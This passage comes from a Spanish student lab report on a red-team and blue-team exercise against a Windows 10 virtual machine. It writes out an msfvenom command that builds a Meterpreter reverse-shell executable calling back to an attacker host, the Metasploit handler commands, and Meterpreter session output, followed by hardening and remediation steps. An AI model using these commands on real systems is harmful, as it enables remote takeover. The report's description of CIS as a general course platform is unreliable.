El comando Is se utiliza para listar el contenido del directorio y verificar la
presencia del archivo de texto.

llustracion 33 Directorio del usuario donde se encuentra el archivo

meterpreter > get
get_timeouts getlwd getproxy getuid
getdesktop getpid getsid getwd
getenv getprivs getsystem
meterpreter > get
get_timeouts getlwd getproxy getuid
getdesktop getpid getsid getwd
getenv getprivs getsystem
meterpreter > getsystem
priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)
Named Pipe Impersonation (RPCSS variant)
Named Pipe Impersonation (PrintSpooler variant)
Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter > shell
Process 1488 created.
Channel 1 created.
Microsoft Windows [Versien 10.0.19045.4170]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\KRN\Desktop>dir

dir

El volumen de 1a unidad C no tiene etiqueta.
El nemero de serie del volumen es: 9AB6-6CD4

Directorio de C:\Users\KRN\Desktop

14/03/2024 21:34  <DIR>
14/03/2024 21:34  <DIR> c
14/02/2026 ©0:37 2,350 Microsoft Edge.lnk

Fuente: Elaboracién Propia

2. Eliminar el archivo de texto:

Una vez que se ha localizado el archivo de texto en el escritorio, se puede utilizar
el siguiente comando para eliminarlo:

meterpreter
Copy code
meterpreter > cd C:\Users\KRN\Desktop

meterpreter > Is
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[*] Listing: Poc_1121201622.txt
meterpreter >rm Poc_1121201622.txt
[*] File deleted: C:\Users\KRN\Desktop\Poc_1121201622.txt

Con estos comandos, se puede completar la tarea de eliminar el archivo de texto
de la maquina comprometida utilizando una sesion de Meterpreter desde Kali
Linux. Esto proporciona una documentacion completa del proceso de ataque
descrito en el anexo 4 - Escenario 3.

llustracion 34 Eliminacion del archivo

archivo de prueba.txt
Microsoft Edge.lnk
Nmap - Zenmap GUI.lnk
Poc_1121201622
1,142 Poc_1121201622.zip
7,168 Poc_1121201622Test - copia.exe
=8 7,168 reverse.exe
6 archivos 20,056 bytes
3 dirs 21,926,379,520 bytes libres

C:\Users\KRN\Desktop>del archivo de prueba.txt
del archivo de prueba.txt
No se pudo encontrar C:\Users\KRN\Desktop\archivo

C:\Users\KRN\Desktop>del "archivo de prueba.txt"
del "archivo de prueba.txt"”

Fuente: Elaboracion Propia

Describa de manera especifica las herramientas software que utilizé para llevar a
cabo el anexo 4 — escenario 3 enfocado a Redteam.

Msfvenom: Es una herramienta por excelencia para la creacién de carga util por
medio de ejecutables los cuales pueden irrumpir en un sistema operativo deseado
o dispositivo maovil.

NMAP: Es una herramienta de linea de comandos de Linux de codigo abierto que

se utiliza para escanear direcciones IP y puertos en una red y para detectar
aplicaciones instaladas.
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Nmap permite a los administradores de red encontrar qué dispositivos se estan
ejecutando en su red, descubrir puertos y servicios abiertos y detectar
vulnerabilidades.?

METASPLOIT: Es una plataforma de pruebas de penetracién que proporciona una
serie de herramientas y utilidades para desarrollar y ejecutar exploits contra
sistemas informaticos.

3.3.1 Fallo de seguridad

A continuacién, liste y describa los datos e informacion del anexo 4 — escenario 3
que le fueron de ayuda para identificar el fallo de seguridad especifico el cual
ataca a la maquina windows 10 X64.

Los datos e informacién del Anexo 4 - Escenario 3 que fueron de ayuda para
identificar el fallo de seguridad especifico incluyen:

e La presencia de un archivo de texto creado en el escritorio de la maquina
Windows 10 X64.

e La ejecucion de un archivo .exe llamado PoC_1121201622, que se
descargé y ejecutd en la computadora afectada.

e La desactivacion total de los sistemas de seguridad en la maquina objetivo,
incluyendo el Firewall, Windows Defender y el antivirus.

e La posibilidad de que el ataque se haya llevado a cabo mediante la
creacion de un payload utilizando msfvenom y su ejecucion a través de
Metasploit.

3.3.2 Herramientas

¢, Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la
“maquina Windows 10”? ¢ Qué puerto abre la aplicacion especifica en el anexo?

La herramienta utilizada para identificar los fallos de seguridad en la maquina
Windows 10 fue Metasploit Framework, en combinacion con msfvenom para la
generacion del payload malicioso. El puerto especifico que abre la aplicacion en el

10 BLACKEYEB. Qué es Nmap y como usarlo: Un tutorial para la mejor herramienta de escaneo de
todos los tiempos. freeCodeCamp.org [pagina web]. (23, abril, 2023). [Consultado el 15, marzo,
2024]. Disponible en Internet: <https://www.freecodecamp.org/espanol/news/que-es-nmap-y-como-
usarlo-un-tutorial-para-la-mejor-herramienta-de-escaneo-de-todos-los-tiempos/>.
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anexo es el puerto 443 o también el puerto 4444, que es utlizado para la
comunicacion con el payload malicioso una vez que ha sido ejecutado en la maquina
obijetivo.

3.3.3 Afectacion del ataque

Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 10 X64), haga uso de gréficos para explicar el ataque.

El ataque afecta a la maquina Windows 10 X64 al comprometer su seguridad y
permitir al atacante obtener acceso y control remoto sobre la misma. Esto se logra
mediante la ejecucién de un archivo malicioso que se descarga y ejecuta en la
computadora objetivo. A continuacion, se presenta una explicacién detallada del
proceso:

e Creacion del Payload Malicioso: El atacante utiliza la herramienta
msfvenom para generar un archivo ejecutable malicioso (.exe) que contiene
un payload disefiado para la arquitectura x64 de Windows. Este payload se
configura para establecer una conexion de reversion con Metasploit en la
maquina del atacante cuando se ejecuta en la computadora objetivo.

e Descargay Ejecucion del Archivo Malicioso: El archivo malicioso, con el
nombre PoC_1121201622.exe, se descarga en la maquina Windows 10
X64 y se ejecuta por parte del usuario. Esto puede suceder de diversas
maneras, como abrir un archivo adjunto en un correo electrénico o
descargarlo desde un sitio web malicioso.

e Establecimiento de la Conexién Reversa: Una vez que el archivo
malicioso se ejecuta en la maquina obijetivo, establece una conexion de
reversion con Metasploit en la maquina del atacante. Esto permite al
atacante obtener acceso remoto a la maquina comprometida y controlarla
desde la distancia.

e Control Remoto de la Maquina Objetivo: Con la conexion establecida, el
atacante puede llevar a cabo una variedad de acciones maliciosas en la
maquina Windows 10 X64. Esto incluye la obtencion de informacion
confidencial, la instalacion de software malicioso adicional, el robo de
credenciales de usuario y la manipulacion de archivos y configuraciones del
sistema.
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e Eliminacion _de Archivos y Datos: En este escenario especifico, el
atacante elimina un archivo de texto importante que estaba presente en el
escritorio de la maquina comprometida. Esto podria ser parte de una

estrategia mas amplia para ocultar su presencia y actividades en el sistema
comprometido.

El siguiente gréfico ilustra de manera simplificada el flujo del ataque desde la

creacion del payload malicioso hasta el control remoto de la maquina objetivo:

lustracion 35 Flujo de ataque de la creacién del paylod

Fuente: Elaboracion Propia

Este proceso demuestra como un ataque puede comprometer la seguridad de una

maquina Windows 10 X64 y permitir al atacante realizar acciones maliciosas en el
sistema comprometido.

3.3.4 Comandos

Debera documentar y adjuntar los comandos utilizados y explicar la estructura
desarrollada para el Payload ademas de los comandos para ejecutar el Payload.

Los comandos utilizados para la creacion y ejecucion del payload malicioso, asi
como una explicacion de la estructura del payload:
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Creacion del Payload Malicioso con msfvenom:

El objetivo es generar un archivo ejecutable malicioso que pueda ser ejecutado en
la maquina Windows 10 X64 para establecer una conexion de reversion con
Metasploit.

e Comando utilizado:

msfvenom -p windows/x64/meterpreter/reverse_tcp —platform windows -a
x64 LHOST=196.168.78.210 LPORT=4444 -f exe >>
/home/Kali/Escritorio/Poc_1121201622.exe

Explicacion de los pardmetros:

e -p windows/x64/meterpreter/reverse tcp: Especifica el payload a utilizar.
En este caso, se utiliza un payload de Meterpreter para arquitectura x64 de
Windows.

e --platform windows: Indica que el sistema objetivo es Windows.

e -a x64: Indica la arquitectura del sistema objetivo, en este caso, x64.

e LHOST=IP DEL ATACANTE: Especifica la direccién IP del atacante.

e LPORT=PUERTO DE ESCUCHA: Especifica el puerto en el que
Metasploit estara escuchando para la conexién de reversion.

o -f exe: Especifica el formato de salida del archivo, en este caso, un archivo
ejecutable (.exe).

» [ruta/donde/guardar/PoC_1121201622.exe: Redirige la salida del
comando hacia un archivo llamado PoC_cedulaestudiante.exe en la
ruta especificada.

e Ejecucién del Payload en Metasploit: Una vez que el payload malicioso
ha sido creado y transferido a la maquina objetivo, se utiliza Metasploit para
abrir una sesion de Meterpreter.

Comandos utilizados en Metasploit:

msf6 > use exploit/multi/handler

msf6 > set payload Windows/x64/meterpreter/reverse-tcp
msf6 > set lhost 192.168.78.210

msf6 > set Iport 4444

msf6 > exploit
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Explicacion de los comandos:

use exploit/multi/handler: Selecciona el exploit multi’lhandler en
Metasploit.

set  PAYLOAD windows/x64/meterpreter/reverse tcp: Configura el
payload a utilizar en el exploit, que coincide con el generado previamente
con msfvenom.

set LHOST IP_DEL ATACANTE: Especifica la direccion IP del atacante.
set LPORT PUERTO DE ESCUCHA: Especifica el puerto de escucha que
debe coincidir con el utilizado en msfvenom.

exploit: Ejecuta el exploit para iniciar la escucha de conexiones y esperar
la conexion del payload malicioso.

Con estos comandos y explicaciones, se puede entender como se crea y ejecuta

un payload malicioso para comprometer una maquina Windows 10 X64 en el
escenario dado.

3.4 Escenario 3: Situacion problema: Analisis Blue team

HackerHouse solicita a sus integrantes de Blueteam tomar medidas al respecto
del ataque expuesto en la etapa 4 donde se vio afectada una maquina con
Window 10. Como experto en Ciberseguridad usted debera cumplir con las

siguientes tareas las cuales demanda HackerHouse:
Descargue una guia de hardenizacién para Windows 10

3.4.1 10 etapas para proyecto de hardening

1. Configuracién del Usuario: Proteja sus credenciales.
e Deshabilitar el administrador local.

e Agregar uan cuenta de dominio adecuada si es el servidor miembro
de Active Directory (AD) o crear una cuenta local y colocarla en un

grupo de administradores.
e Comprobar que la cuenta invitado local este deshabilitada

e Use una politica de contrasefias para asegurarse de que las

cuentas del servidor no se vean comprometidas, por ejemplo:

v" Requisitos de complejidad y longitud: qué tan segura debe ser

la contrasefia

v' Caducidad de la contrasefia: cuanto tiempo es valida la

contrasefa
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v Historial de contrasefias: cuanto tiempo pasara hasta que se
puedan reutilizar las contrasefias anteriores

v' Blogueo de cuenta: cuantos intentos fallidos de contrasefia
antes de que se suspenda la cuenta

2. Configuracion de Red: Establecer comunicaciones.

e Tener una IP estatica para que los clientes puedan encontrarlos de
manera confiable.

e Configurar al menos dos servidores DNS para tener redundancia y
verifique la resolucion de nombres mediante nslookup desde linea de
comandos.

e Asegurarse de que el servidor tenga un registro A valido en DNS con
el nombre que desee, asi como un registro PTR para busquedas
inversas.

e Deshabilitar cualquier servicio de red que el servidor no vaya a
utilizar, como IPv6.

3. Configuracion de Caracteristicas y Roles : Aiadir lo que se necesite,

eliminar lo que no se necesite.

e Asegurarse de que todo lo que se necesite esté instalado. Puede que se
trate de una version de .NET Framework o IIS.

e Desinstalar todo lo que no se necesite. Los paquetes extrafios extienden
innecesariamente la superficie de ataque del servidor y deben eliminarse
siempre que sea posible.

4. Instalacion de Actualizaciones Parchar: Remediar vulnerabilidades.

5. Configuracion NTP:  Evite la divergencia del reloj.

6. Configuracion del Firewall: Minimice su huella externa.

e EI firewall de Windows es un firewall por software, de buen nivel e
integrado, que permite la configuracion del trafico basado en puertos desde
el sistema operativo.

7. Eliminar Configuracion de Acceso: Refuerce (hardenizar) las sesiones de

administracion remota.

e Asegurarse de que solo sea accesible a través de VPN.
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e Asegurarse de que RDP solo sea accesible para usuarios autorizados. De
forma predeterminada, todos los administradores pueden usar RDP una vez
gue esta habilitado en el servidor.

8. Configuracion de Servicios: Minimice la superficie de ataque.
9. Logging y monitoreo: Conozca lo que esta sucediendo en su sistema.
10. Hardening adicional: Proteja el sistema operativo y otras aplicaciones.

e El Control de Cuentas de Usuario (UAC) puede ser molesto, sirve el
importante proposito de abstraer los ejecutables del contexto de seguridad
del usuario que estd en sesion. Esto significa que incluso cuando haya
iniciado sesion como administrador, UAC evitard que las aplicaciones se
ejecuten como si fuera usted sin su consentimiento. Esto evita que el
malware se ejecute en segundo plano (background) y que los sitios web
maliciosos inicien instaladores u otro codigo. Deje UAC encendido siempre
que sea posible.1!

3.4.2 Asegure la maquina que fue afectada con el Payload de la Etapa 4.

Se valida con la proteccion de antivirus que trae por defecto Windows y este
detecta que la maquina ha sido infectada por el payload detectando este como un
toyano como se observa en la siguiente imagen.

llustracién 36 Maquina afectada con payload

Proteccién antivirus y contra
amenazas Videos de 1a Comunidad Windows

© Amenazas actuales Tienes alguna pregunta?

Iniciar acciones

Fuente: Elaboracion Propia

11 ETAPAS DE HARDENING DE WINDOWS PARA MEJORAR LA RESILIENCIA CIBERNETICA |
CalCom [Andnimo]. CalCom [pagina web]. [Consultado el 19, marzo, 2024]. Disponible en Internet:
<https://www.calcomsoftware.com/etapas-de-hardening-de-windows/>.
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Se realiza escaneo con el malwarebytes para detectar el payload que afecta la

maquina de Windows 10.

llustracién 37 Deteccién de Payload con Malwarebytes

| ™alwarebytes | Version de prueba Premium Activar suscripeion |

-

Historial de detecciones

| Elementos en cuarentena sta de sitios permitidos Historial .
Npse Evento Fechay hora Detalles del evento  Accion Ubicacion
DeteccionRTP  24/3/202411:29:46 TrojanMalPack  En cuarentena C:\Users\KRN\AppDa.

Deteccion de andl.. 24/3/2024 11:28:27 Trojan.MalPack Sin acclones por. cwstr® & @

! Deteccion de andl.. 24/3/2024 11:28:27 Trojan.MalPack Sin acciones por. C:\USERS\KRN\DOW.

Deteccion de anal.. 24/3/2024 11:28:27 Trojan.MalPack Sin acciones por. C:\USERS\KRN\DOW.

Deteccion de andl.. 24/3/2024 11:28:27 Trojan MalPack Sin acciones por. C:\USERS\KRN\DOW.

C:\USERS\KRN\DOCU.

Deteccion de anal.. 24/3/2024 11:28:27 Trojan.MalPack Sin acciones por.

Fuente: Elaboracion Propia

3.4.3 Paso a Paso para erradicar el ataque

Genere un documento donde mencione el paso a paso utilizado para asegurar y
erradicar el ataque ejecutado en la Etapa 4.

Para asegurar y erradicar el ataque ejecutado del payload en la maquina de
Windows 10, se requiere el proceso de fortalecimiento de la seguridad del sistema
Informatico, reduciendo las vulnerabilidades identificadas, se busca reforzar la
seguridad de los servicios, usuarios y funciones utilizados dentro de la
organizacion HackerHouse.

Para lograr este objetivo, se han definido las siguientes etapas de aseguramiento:

Paso 1: En la maquina atacada de Windows 10 x64 se ingresa a panel de control,
sistema y seguridad, firewall de Windows Defender, personalizar configuracion.
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llustracion 38 Activacion de Firewall

Fuente: Elaboracion Propia

Paso 2: Se habilita de Windows Update y se actualizar el sistema operativo de
Windows 10 x64 con todos los parches de seguridad.

llustracién 39 habilitacion de windows update

G icio Windows Update

{Todo esta actualizado!
Oltima comprobaciées: hay, 1557

Actualizacion y seguridad

& Windows Update
£ oy st akzscionss en cusnto stén disponioles O
¥ Seguridad de Windows

T Copia de seguridad de archivos

& Solucionar problemas

&y Recuperacién

@ Activacin
A Encontrar mi dispasitivo

B P progrmadors

Fuente: Elaboracion Propia

Paso 3: Se procede habilitar el antivirus y proteccidon contra amenazas Windows
Defender en el sistema operativo de Windows 10 x64.
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llustracion 40 Activacion de Windows defender y escaneo

1 Proteccian antivirus y contra

Fuente: Elaboracion Propia

Paso 4: Se procede habilitar la configuracion de control de cuentas en el sistema
operativo de Windows 10 x64.

llustracién 41 Configuracion de centro de cuentas de usuario

& Configuracion de Control de cuentas de usuario — o X

Elija cudndo desea recibir notificaciones acerca de cambios en el equipo

Control de cuentas de usuario ayuda 2 impedir que programas p
i3 inf G én.de Control de. cuent

icen cambios en el equipo.

@ Recomendado si suele instalar softw: evo y
-1 - visitar sitios web d d
No natificarm
Cancelor

Fuente: Elaboracion Propia

Paso 5: Se cambian los permisos en el modo de promiscuo de los adaptadores de
red de las maquinas virtuales de Kali Linux y Windows 10 x64.
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llustracion 42 Denegacion en lared de Windows y Kali modo promiscuo

Red

Adaptador 1

1 Network Adapter

Modo promiscuo:  Denegar

¥ Cable Connected

-]
=
D .
LR
)
&
&
' 4
|
]

Fuente: Elaboracion Propia

Paso 6: Se desactiva la opcién de escritorio remoto

llustracion 43 desactivacién escritorio remoto

[— - o

G nico Escritorio remoto

[C)

Cuentas de usuario

Fuente: Elaboracion Propia

Paso 7: Se asigna una contrasefia de acceso a Windows 10 x64.
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llustracion 44 Creacion de contrasefa para el usuario de Windows 10

8, Cresr contraseis o x

o para KRN,
Si hace esto, KRN perders todos los contrasedas
para los sitios web o los recursas de red.

ol

traseha contiene maysculas, debe escribilas de ls mima forma.

Elindicio de contrazes sers viible para todos los ususrios que utiicen este equipo.

Cancelar

Fuente: Elaboracion Propia

Se realiza nuevamente la explotacién de la maquina Windows 10 sin poder tener
acceso desde Kali Linux

llustracién 45 Explotacién de Windows 10 desde Kali

i warning:
hm: ¢ EcdsashaZlethSG NAME

/usl/shale/metasplnlt Flamewmk/vendm/hundle/ uby/3.0. ﬂ/gems/hn b_ssh-.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning:
vious definition of NAME was here
/usr/share/metasploit- ﬁamewmk/'vendul/bundl Ty b /3.0.0/gems/hrr_rb_ssh-@.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning:
eady initialized constant HrrRbSsh::Transp r| rithm: : EcdsaSha2Nistp256: : PREFERENCE
/usr/share/metasploit- Flamewmk/vendm/hundle/ulbvh 0. ﬂ/gems/h b_ssh-@.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning:
vious definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning:
eady initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/1ib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning:
vious definition of IDENTIFIER was here

Handler failed to bind to 192.168.78.210:4444:- -
Handler failed to bind to 0.0.0.0:4444:- -
Exploit failed [bad-config]l: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
Exploit completed, but no session was created.
msf6 exploit(

Fuente: Elaboracion Propia

La actividad consiste en: Leer el problema que se encuentra en el anexo 5 —
escenario 4 referente a equipo Blueteam y por medio del banco de trabajo
configurado en la actividad anterior debera dar respuesta a las siguientes
preguntas orientadoras:
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3.3.4 Identificacion de Ataque

¢Ante un ataque informatico en tiempo real usted como experto en Ciberseguridad
qué pasos toma para identificar dicho ataque? Debe listar y explicar cada uno de
estos pasos.

Pasos para identificar un ataque informatico en tiempo real:

Deteccion y Monitoreo de Logs: Monitorizar los sistemas y redes para detectar
actividad inusual, busqueda de indicadores de compromiso (IOC) como archivos
sospechosos, conexiones inusuales o cambios en el comportamiento del sistema.
Revision de los registros de actividad del sistema y de red en busqueda de
anomalias o comportamientos sospechosos.

Anadlisis de Trafico: Examinar el trafico de red en busca de patrones inusuales o
tréfico malicioso.

Identificaciéon y andlisis de vulnerabilidades: Realizar escaneos de
vulnerabilidades en la infraestructura de Tl para identificar posibles puntos de
entrada para los atacantes. Analizar el tipo de ataque, la fuente y el objetivo,
determinando la gravedad del ataque y el impacto potencial en el negocio.

Deteccion y contencidon de Intrusiones: Utilizar sistemas de deteccion de
intrusiones (IDS/IPS) para identificar intentos de intrusion o actividades maliciosas.
Aislar los sistemas afectados para evitar la propagacion del ataque.

Deshabilitar cuentas de usuario comprometidas.

Implementar medidas de proteccion adicionales como firewalls o sistemas de
deteccién de intrusiones (IDS).

Investigacion: Recopilar informacién sobre el ataque para comprender su alcance
y las posibles consecuencias, Identificando las vulnerabilidades que permitieron el
ataque.

Recuperacién: Eliminar el malware y restaurar los sistemas a un estado seguro.
Aplicar medidas correctivas para las vulnerabilidades identificadas.
Comunicacion: Informar a las partes interesadas sobre el ataque, las medidas
tomadas y las lecciones aprendidas.
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3.4.5 Subsanacion del sistema ante el Payload

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste el
paso a paso que ejecutd para subsanar el sistema ante el evento del Payload?

En un evento real lo que se deberia realizar como primera opcion es aislar la
maquina afectada, desconectar la maquina comprometida de la red para evitar
que el ataque se propague.

Los pasos realizados para subsanar el sistema ante el evento del Payload es:

e Analizar el Payload: identificar el tipo de payload y su origen, examinando el
archivo malicioso para entender su funcionamiento y los posibles dafios
causados.

e Eliminar el Payload: Borrar el archivo malicioso y cualquier otro componente
asociado con el ataque.

e Restablecer Configuraciones de Seguridad: Restaurar la configuracion de
seguridad predeterminada en la maquina afectada y actualizar todos los
sistemas y software a versiones parcheadas y seguras.

e Hardenizacion para Windows 10: Fortalecer las defensas del sistema para
prevenir futuros ataques.

v

v

v
v

Actualizacion de Software: Instalar las ultimas actualizaciones de
seguridad para el sistema operativo y el software.

Configuracion de Seguridad: Implementar medidas de seguridad
adicionales como:

Deshabilitar servicios innecesarios.

Configurar firewalls y permisos de usuario.

Implementar politicas de contrasefias seguras.

e Monitoreo y Revision: Monitorizar el sistema para detectar actividad
inusual.
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3.4.6 Diferencias de equipos Blue team, Purple Teams y Red Team

Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢qué
diferencia existen entre los equipos antes mencionados con el Purple Team y
equipos de respuesta a incidentes informaticos?

Tabla 1 Diferencias Red team, Blue team, Purple team y Equipos de
respuestas a incidentes informaticos

Equipo Funciones y Diferencias

Blue Teams e Equipo encargado de la defensa y proteccién de la infraestructura
de TI. Monitorea la red en busca de amenazas y responde a
incidentes de seguridad

e Se encarga de la defensa, protegiendo a las organizaciones de
ataques .

Red Teams e Equipo que simula ataques cibernéticos a la infraestructura Tl para
evaluar la eficacia de las defensas de seguridad del Blue Team e
identificar vulnerabilidades.

e Emula a los atacantes, utilizando sus mismas herramientas o
similares, explotando las vulnerabilidades de seguridad de los
sistemas y aplicaciones.

Purple Teams e Colaboracion entre Blue Team y Red Team para mejorar la
seguridad, compartiendo informacion y conocimientos para
fortalecer las defensas.

e Ayuda a mejorar las comunicaciones y la eficacia entre los dos
equipos de Red teams y Blue teams

Equipos de e Equipos especializados en responder y gestionar incidentes de
seguridad cuando ocurren, investigando, conteniendo y mitigando

Respuesta a las amenazas

Incidentes

Fuente: Elaboracion Propia
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3.4.7 CIS “Center For Internet Security”

¢Qué funcidon tiene CIS “Center For Internet Security” dentro de equipos
BlueTeam? Usted debe realizar un pequefio tutorial de cémo funciona CIS y qué
se debe hacer para encontrar los tutoriales que posee.

Funcién de CIS "Center For Internet Security" dentro de Blue Teams:

CIS proporciona guias y benchmarks de seguridad para sistemas operativos y
aplicaciones, ayudando a los equipos Blue Team a endurecer la seguridad de sus
sistemas, asi como también desarrollar y promover soluciones de ciberseguridad
estableciendo distintas capas de proteccion en todos los niveles con sistemas

proactivos de defensa y sistemas de respuesta.

¢, Qué es CIS?

El Centro de Innovacién y Soluciones, o CIS, es una plataforma digital disefiada
para proporcionar recursos educativos y de capacitacion en una variedad de
temas tecnologicos y empresariales. Esta dirigido tanto a profesionales como a
estudiantes que deseen mejorar sus habilidades en areas como programacion,

analisis de datos, disefio de aplicaciones, administracion de proyectos, entre otros.
¢, Como funciona CIS?

Registro y acceso: Para comenzar a utilizar CIS, primero necesitas registrarte en
la plataforma. Normalmente, este proceso implica proporcionar informacion basica

como nombre, direccién de correo electrénico y crear una contrasefia. Una vez

registrado, puedes iniciar sesion en tu cuenta para acceder al contenido.
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llustracion 46 Acceso de registro a CIS

f\ Imagenes reforzadas dela CEI@  Apoyo "2 Iniciar sesién en el banca de trabajo CIS &
Center for
Internet Se(urlly /C)
onnected World, UNIRSE A LA CEI ~

COMPANIA~  SOLUCIONES~  PERSPECTIVAS v~

@ CIS WorkBench

Chacuérdate de mi

Fuente: Elaboracion Propia

Exploracion de contenido: Una vez dentro de CIS, se podras explorar los
diferentes cursos y tutoriales disponibles. Estos pueden estar organizados en
categorias como programacion, analisis de datos, desarrollo web, etc. También
puedes buscar especificamente el tema que te interese.

llustracion 47 Exploracion de contenido CIS

® <15 WorkBench

©
Comunidadese
@ karen marales
tneratessa

@

@ Comunidades

@ Cantroles IS - Asignaciones de controfes 0 = .
Fuente: Elaboracion Propia

Seleccién y visualizacion de tutoriales: Una vez que encuentres un tutorial que
te interese, puedes hacer clic en él para obtener mas detalles. Esto puede incluir
una descripcion del curso, la duracion estimada, los requisitos previos y el formato
del contenido (videos, lecturas, ejercicios practicos, etc.).
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llustracion 48 Visualizacion de tutoriales

K Comentario

Fuente: Elaboracion Propia

Participacion: Algunos cursos pueden incluir actividades interactivas o
evaluaciones para que los estudiantes pongan en préactica lo aprendido. Participar
activamente en estas actividades puede ayudarte a consolidar tus conocimientos y
habilidades.

Seguimiento y progreso: CIS puede ofrecer herramientas para hacer un
seguimiento de tu progreso en los cursos que realices. Esto puede incluir la

visualizacion de modulos completados, resultados de evaluaciones vy
recomendaciones de contenido adicional.

3.4.8 Diferencia entre SIEM y XDR

Deberad documentar mediante la elaboracion una tabla las diferencias existentes
entre: SIEM y XDR.
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Tabla 2 Diferencias SIEM

y XDR

Diferencias SIEM y XDR

Caracteristicas

SIEM (Security Information and

Event Management)

XDR (Extended Detection and

Response)

Enfoque

Recopilacién, correlacion de logs
de seguridad y andlisis de

registros.

Ofrece capacidades centralizadas
de gestidn y analisis de registros
para una organizacion. Genera
alertas, realiza correlacion entre
datos de varias soluciones
seleccionadas y permite realizar

un analisis posterior al evento.

Enfoque en la deteccion,
respuesta a amenazas en tiempo
real, investigacion y respuesta a
amenazas avanzadas y

persistentes.

Se enfoca en la deteccion y
respuesta avanzada de amenazas,
utilizando analisis de datos de
multiples fuentes y con capacidad
de automatizacion. XDR es més

escalable que SIEM.

Fuentes de Datos

Recopila y correlaciona datos de
logs y eventos de multiples

fuentes.

Recopila datos de logs, eventos,
endpoints y redes para una

visibilidad amplia.

Andlisis de Datos

Se centra en la correlacion de
eventos y generacion de alertas
basadas en reglas

predeterminadas.

Utiliza andlisis avanzados y
machine learning para detectar
patrones de comportamientos
anémalos y amenazas
desconocidas.

Respuesta a

Ofrece capacidades basicas de

Proporciona capacidades

Incidentes respuesta a incidentes a través avanzadas de respuesta
de integraciones con otros incidentes, permitiendo acciones
sistemas automatizadas y orquestadas para
contener y mitigar amenazas.
Tecnologia Basado en reglas Basado en inteligencia artificial
(1A)
Alcance Visibilidad de eventos de Visibilidad de eventos de

seguridad en toda la

infraestructura

seguridad y datos de telemetria

Fuente: Elaboracion Propia
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3.4.9 Herramientas GPL

Defina por lo menos 3 herramientas de deteccion de ataques informaticos con
licencia GPL.

Herramientas de deteccidn de ataques informaticos con licencia GPL.:

Wireshark: Es un analizador de protocolos de red de cédigo abierto que se utiliza
para solucionar problemas de red, analisis, desarrollo de software y protocolos, y
educacion. (antes conocido como Ethereal) es un analizador de protocolos
utiizado para realizar andlisis y solucionar problemas en redes de
comunicaciones, para analisis de datos y protocolos, y como una herramienta
didactica. Cuenta con todas las caracteristicas estandar de un analizador de
protocolos de forma Unicamente hueca.

La funcionalidad que provee es similar a la de tcpdump, pero afiade una interfaz
grafica y muchas opciones de organizacion y filtrado de informacion.?

Snort: Snort es el sistema de prevencion de intrusiones (IPS) de cddigo abierto
mas importante del mundo. Snort IPS utiliza una serie de reglas que ayudan a
definir la actividad maliciosa de la red y utiliza esas reglas para encontrar paquetes
gue coincidan con ellos y genera alertas para los usuarios. Snort también se
puede implementar en linea para detener estos paquetes. Snort tiene tres usos
principales: como rastreador de paquetes como tcpdump, como registrador de
paquetes, que es util para la depuracién del trafico de red, o puede usarse como
un completo sistema de prevencion de intrusiones en la red. Snort se puede
descargar y configurar para uso personal y empresarial por igual*?

Suricata: Es un sistema de deteccion de intrusos de red de codigo abierto, rapido
y muy robusto, desarrollado por la Open Information Security Foundation. El motor
de Suricata es capaz de detectar intrusos en tiempo real, prevenir intrusiones en
linea y monitorear la seguridad de la red. Ademas, consta de unos modulos como

12 COLABORADORES DE LOS PROYECTOS WIKIMEDIA. Wireshark - Wikipedia, la enciclopedia
libre. Wikipedia, la enciclopedia libre [pagina web]. (15, abril, 2005). [Consultado el 20, marzo,
2024]. Disponible en Internet: <https://es.wikipedia.org/wiki/Wireshark>.

13 Snort [pagina web].[Consultado el 20, marzo, 2024]. Disponible en Internet:
<https://www.snort.org/>
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Captura, Recopilacion, Decodificacion, Deteccion y Salida. Captura el trafico que
pasa en un flujo antes de la decodificacion .14

Nmap: (“mapeador de redes”) “es una herramienta de cédigo abierto para

exploracion de red y auditoria de seguridad. Se disefi0 para analizar rapidamente
grandes redes, aunque funciona muy bien contra equipos individuales”.*.

Enlace al video de sustentacion:

https://drive.google.com/file/d/1lipHPmM2GCTkOxryCXTJJkfeVIbO1IW5wij/view?usp
=sharing

Resultado de prueba anti-plagio:

llustracion 49 Resultado Turnitin

7] feedback studio KAREN RUTH MORALES  1:pa s

0
43 %

< Coincidencia 1 de 92 >
7

ERE - [0

RECOMENDACIONES

Continuo: Se recomienda que HackerHouse promueva ejercicios regulares

de simulacién de ataques cibernéticos, involucrando tanto al equipo Blue

Team como al Red Team. Eslas simulaciones ayudardn a mejorar la

capacidad de respuesta de los eauipos ante amenazas reales v a identificar

sgins: 78 de 82 MNdmero de palabras: 13501 Versidn solo texto del informe Alta resolucién Q —————
[T

4
s Implementacion de Ejercicios de Simulacién y Entrenamiento 5 1% >
6

Fuente: FEEDBACK STUDIO [An6nimo]. Turnitin [pagina web]. [Consultado el 4, abril, 2024]. Disponible en
Internet:

<https://ev.turnitin.com/app/carta/es/?s=1&amp;u=1104366483&amp;0=2339437225&amp;ro=103&amp;stude
nt_user=1&amp;lang=es>.

14 DELGADO, Daniel Ortego. Herramientas open source de deteccion de intrusion.
OpenWebinars.net [pagina web]. (9, mayo, 2017). [Consultado el 20, marzo, 2024]. Disponible en
